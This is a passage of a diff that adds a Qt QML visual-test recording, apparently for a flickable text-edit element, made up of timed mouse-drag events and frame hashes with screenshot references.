+        buttons: 1
+        x: 251; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3568
+        hash: "0554f22d8079ef0213dc25f9f1b59055"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 252; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 253; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3584
+        hash: "1eb0805e4c706af1c7cfa113d32edda1"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 255; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 256; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3600
+        hash: "482f30ca992e9f92241523a47125d9b4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 257; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 259; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3616
+        hash: "6b2bec317fad51fe85bab6a00ced9655"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 261; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 262; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3632
+        hash: "acc661684f507375518fc73fe081f61e"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 263; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 265; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3648
+        hash: "f77143d0d7a3cf8c0163bf950940ad07"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 266; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 267; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3664
+        hash: "8d0407ae3f55305e1d9780deaa30c064"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 268; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3680
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 3696
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 3712
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3728
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3744
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3760
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3776
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3792
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3808
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3824
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3840
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3856
+        image: "flickableEdit.4.png"
+    }
+    Frame {
+        msec: 3872
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3888
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3904
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3920
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3936
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3952
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3968
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 3984
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4000
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4016
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4032
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4048
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4064
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4080
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4096
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4112
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4128
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4144
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4160
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4176
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4192
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4208
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4224
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4240
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4256
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4272
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4288
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4304
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4320
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4336
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4352
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4368
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4384
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4400
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4416
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4432
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4448
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4464
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4480
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4496
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4512
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4528
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4544
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4560
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4576
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4592
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4608
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4624
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4640
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4656
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4672
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4688
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4704
+        hash: "c536946f28abb221cc38d6f438887e17"
+    }
+    Frame {
+        msec: 4720
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4736
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4752
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4768
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4784
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4800
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4816
+        image: "flickableEdit.5.png"
+    }
+    Frame {
+        msec: 4832
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4848
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4864
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Frame {
+        msec: 4880
+        hash: "91bd6701cbb1e836a01d1619e0421503"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 266; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4896
+        hash: "e5a6693779ffb4e8a333756690a8f9e0"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 264; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 262; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4912
+        hash: "6acabe70146611091621ef5079cc97ec"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 259; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 256; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4928
+        hash: "f75b5eaa04bfec866f088f665edb225e"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 253; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 249; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4944
+        hash: "1888acd9f3e48348c22e324d67ab2724"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 245; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 240; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4960
+        hash: "cd24be347f20371f9d0796fa4a38ad0c"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 235; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 231; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4976
+        hash: "f39bc67a8e83340f8e89cf11c89fb27c"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 227; y: 30
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 222; y: 30
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4992
+        hash: "80d8019485231c061ba1cf81fd4c42ca"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 217; y: 30
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 213; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5008
+        hash: "72893900dfd007ea25a7d75982be6320"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 207; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 203; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5024
+        hash: "f3d02c4d2f0b8b75b0b6159c0ba8f4db"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 199; y: 28
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 195; y: 28
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5040
+        hash: "8ecdf1325bb2084bf6212216bd86b324"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 190; y: 27
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 186; y: 27
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5056
+        hash: "be5c62268b337c9d7f69ab01b02c816d"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 182; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 178; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5072
+        hash: "a0eea6c818a1cb71809aff4613e9655d"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 175; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 171; y: 25
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5088
+        hash: "27fcf1d4cd00dc7ac54fa92f9c7e2ac2"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 168; y: 25
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 165; y: 24
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5104
+        hash: "32f6bdc5e2f6ce34436a21dd8ee348dd"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 162; y: 24
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 159; y: 24
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5120
+        hash: "4c11c9075429acd4acddc6ede4e5fe69"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 154; y: 23
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 151; y: 23
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5136
+        hash: "8fdaf03e0b03698613092303945787d4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 148; y: 23
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 145; y: 22
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5152
+        hash: "d9bc269f21d5eade8bb9555d05a86744"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 142; y: 22
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 138; y: 22
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5168
+        hash: "f9dd0735682dba198febffcc85c9835a"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 135; y: 21
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 131; y: 21
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5184
+        hash: "a98869bb654e3b4c1f4d9d0e7e24197a"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 128; y: 21
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 124; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5200
+        hash: "50ceb9d6d58129b71009079a0028e7c4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 121; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 118; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5216
+        hash: "6b8c9413ba1a791e42b06aaa711cdb4e"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 114; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 111; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5232
+        hash: "f7e12621527fd52e21595cfbf804879c"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 108; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 105; y: 19
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5248
+        hash: "d7408be78c80e2b6e5848ee696a79ee0"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 103; y: 19
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 99; y: 19
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5264
+        hash: "e648f25a978b9f14cf71d5f1d90edf15"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 96; y: 19
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 93; y: 19
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5280
+        hash: "64ce73aa32f2c08f4cee9a35a103a1d0"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 91; y: 19
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 88; y: 19
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5296
+        hash: "1db1d100eb1f97a7c85ab8df3e558188"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 86; y: 18
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 84; y: 18
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5312
+        hash: "5604b2f85c3a90f8b29da3fec2f6c509"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 81; y: 18
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 79; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5328
+        hash: "fb57c6295d512821945754020ea6a3ce"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 77; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 75; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5344
+        hash: "14dfd5b78901c9f63e4f5d0889f77805"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 73; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 72; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5360
+        hash: "cc105198e78269be1240785b791c8612"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 69; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 67; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5376
+        hash: "1ef97830b4f1be66a4f443ee4573547b"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 66; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 64; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5392
+        hash: "0ef86edc381e75c39ba067404817edb8"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 63; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 60; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5408
+        hash: "6a7605f59eb364fbc166aeea7b54695a"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 59; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 57; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5424
+        hash: "e86bb3698ad8b46e70237088ea056ab0"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 55; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 53; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5440
+        hash: "56db36cde05d74d6bf8eec0b21515b20"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 51; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 49; y: 17
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5456
+        hash: "05adc602e827635ca43c0cff2b5b857d"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 47; y: 18
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 45; y: 18
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5472
+        hash: "cbdcdf9b7e640a79e2269247bb4d6cc2"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 43; y: 18
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 41; y: 19
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5488
+        hash: "bc014e9feb5e69c4042385a6753d1884"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 38; y: 19
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 37; y: 19
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5504
+        hash: "544e9ddbedae500955e6cec79eae709c"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 35; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 33; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5520
+        hash: "ec17a9dba3846c1919b67eaf3d234471"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 30; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 28; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5536
+        hash: "8ab538f8baa170798c93e6eb4d5441f8"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 27; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 26; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5552
+        hash: "1b1636fecff90e602b87dbf84a986d2a"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 25; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 24; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5568
+        hash: "27a84ee3fb8b306e22e50ba753828b7c"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 23; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5584
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 5600
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 23; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5616
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 5632
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 5648
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 5664
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 5680
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 5696
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 5712
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5728
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5744
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5760
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5776
+        image: "flickableEdit.6.png"
+    }
+    Frame {
+        msec: 5792
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5808
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5824
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5840
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5856
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5872
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5888
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5904
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5920
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5936
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5952
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5968
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 5984
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6000
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6016
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6032
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6048
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6064
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6080
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6096
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6112
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6128
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6144
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6160
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6176
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6192
+        hash: "46af738f612bfe0fbf4f83eb847dacb7"
+    }
+    Frame {
+        msec: 6208
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6224
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6240
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6256
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6272
